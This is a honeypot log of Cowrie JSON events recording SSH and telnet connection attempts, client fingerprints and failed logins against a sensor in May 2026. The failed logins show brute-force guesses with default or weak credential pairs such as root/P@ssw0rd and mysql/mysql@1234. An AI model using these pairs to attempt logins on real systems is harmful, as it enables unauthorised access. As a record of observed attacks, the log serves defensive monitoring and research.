{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":44104,"dst_ip":"159.203.135.109","dst_port":22,"session":"e8ce47dfa54a","protocol":"ssh","message":"New connection: 2.57.122.238:44104 (159.203.135.109:22) [session: e8ce47dfa54a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:25:55.877953Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:25:55.886430Z","src_ip":"2.57.122.238","session":"e8ce47dfa54a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:25:55.992792Z","src_ip":"2.57.122.238","session":"e8ce47dfa54a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ethereum","password":"ethereum","message":"login attempt [ethereum/ethereum] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:25:56.311157Z","src_ip":"2.57.122.238","session":"e8ce47dfa54a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:25:57.420323Z","src_ip":"2.57.122.238","session":"e8ce47dfa54a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX","message":"login attempt [root/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:26:02.765207Z","src_ip":"8.218.166.49","session":"a98db46fd251","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"36.1","message":"Connection lost after 36.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:26:04.143471Z","src_ip":"8.218.166.49","session":"a98db46fd251","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:26:06.387159Z","src_ip":"47.86.95.62","session":"e6cb60fccf9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.185.0.113","src_port":10442,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb1e0b75f5c0","protocol":"telnet","message":"New connection: 45.185.0.113:10442 (159.203.135.109:23) [session: fb1e0b75f5c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:26:31.336245Z"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":52486,"dst_ip":"10.17.0.5","dst_port":22,"session":"11edc96b0342","protocol":"ssh","message":"New connection: 8.218.166.49:52486 (10.17.0.5:22) [session: 11edc96b0342]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:26:39.117090Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:26:39.568862Z","src_ip":"8.218.166.49","session":"11edc96b0342","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:26:40.809240Z","src_ip":"8.218.166.49","session":"11edc96b0342","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.73413610458374,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:26:45.070001Z","src_ip":"45.185.0.113","session":"fb1e0b75f5c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.49.1.38","src_port":33182,"dst_ip":"10.17.0.5","dst_port":23,"session":"96c335196e5e","protocol":"telnet","message":"New connection: 65.49.1.38:33182 (10.17.0.5:23) [session: 96c335196e5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:26:54.437670Z"}
{"eventid":"cowrie.session.closed","duration":2.0774943828582764,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:26:56.515043Z","src_ip":"65.49.1.38","session":"96c335196e5e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":36352,"dst_ip":"10.17.0.5","dst_port":22,"session":"c422477e8ab7","protocol":"ssh","message":"New connection: 8.218.166.49:36352 (10.17.0.5:22) [session: c422477e8ab7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:27:01.111478Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:27:01.118078Z","src_ip":"8.218.166.49","session":"c422477e8ab7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:27:01.328864Z","src_ip":"8.218.166.49","session":"c422477e8ab7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test","message":"login attempt [test/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:27:03.177551Z","src_ip":"8.218.166.49","session":"c422477e8ab7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":51094,"dst_ip":"10.17.0.5","dst_port":22,"session":"566f17507007","protocol":"ssh","message":"New connection: 8.218.166.49:51094 (10.17.0.5:22) [session: 566f17507007]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:27:09.982202Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:27:09.987635Z","src_ip":"8.218.166.49","session":"566f17507007","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:27:10.275696Z","src_ip":"8.218.166.49","session":"566f17507007","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00273871421814,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:27:12.343355Z","src_ip":"187.222.242.146","session":"57ad64193d8d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"187.222.242.146","src_port":38002,"dst_ip":"159.203.135.109","dst_port":23,"session":"624bf6a90176","protocol":"telnet","message":"New connection: 187.222.242.146:38002 (159.203.135.109:23) [session: 624bf6a90176]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:27:12.924767Z"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":49150,"dst_ip":"10.17.0.5","dst_port":22,"session":"c995797577be","protocol":"ssh","message":"New connection: 8.218.166.49:49150 (10.17.0.5:22) [session: c995797577be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:27:17.007898Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:27:17.012864Z","src_ip":"8.218.166.49","session":"c995797577be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user","message":"login attempt [user/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:27:27.402869Z","src_ip":"8.218.166.49","session":"566f17507007","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"28.8","message":"Connection lost after 28.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:27:38.777960Z","src_ip":"8.218.166.49","session":"566f17507007","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql@1234","message":"login attempt [mysql/mysql@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:27:39.248210Z","src_ip":"47.86.95.62","session":"e6cb60fccf9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:27:50.776268Z","src_ip":"47.86.95.62","session":"e6cb60fccf9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":56176,"dst_ip":"10.17.0.5","dst_port":22,"session":"f78e32de75ef","protocol":"ssh","message":"New connection: 47.86.95.62:56176 (10.17.0.5:22) [session: f78e32de75ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:27:50.952674Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:27:52.254455Z","src_ip":"47.86.95.62","session":"f78e32de75ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:27:56.073037Z","src_ip":"8.218.166.49","session":"c995797577be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123","message":"login attempt [root/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:27:58.122847Z","src_ip":"8.218.166.49","session":"11edc96b0342","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"66.2","message":"Connection lost after 66.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:28:07.337607Z","src_ip":"8.218.166.49","session":"c422477e8ab7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"94.6","message":"Connection lost after 94.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:28:13.674356Z","src_ip":"8.218.166.49","session":"11edc96b0342","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":46314,"dst_ip":"10.17.0.5","dst_port":22,"session":"01771759df63","protocol":"ssh","message":"New connection: 8.218.166.49:46314 (10.17.0.5:22) [session: 01771759df63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:28:14.705027Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":52892,"dst_ip":"159.203.135.109","dst_port":22,"session":"0e5d14b28343","protocol":"ssh","message":"New connection: 2.57.122.238:52892 (159.203.135.109:22) [session: 0e5d14b28343]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:28:15.859567Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:28:15.864825Z","src_ip":"2.57.122.238","session":"0e5d14b28343","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:28:15.968637Z","src_ip":"2.57.122.238","session":"0e5d14b28343","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"node","message":"login attempt [node/node] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:28:16.268518Z","src_ip":"2.57.122.238","session":"0e5d14b28343","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:28:17.371041Z","src_ip":"2.57.122.238","session":"0e5d14b28343","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:28:22.828553Z","src_ip":"8.218.166.49","session":"01771759df63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:28:22.833375Z","src_ip":"8.218.166.49","session":"01771759df63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd","message":"login attempt [root/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:28:32.079170Z","src_ip":"8.218.166.49","session":"c995797577be","protocol":"ssh"}
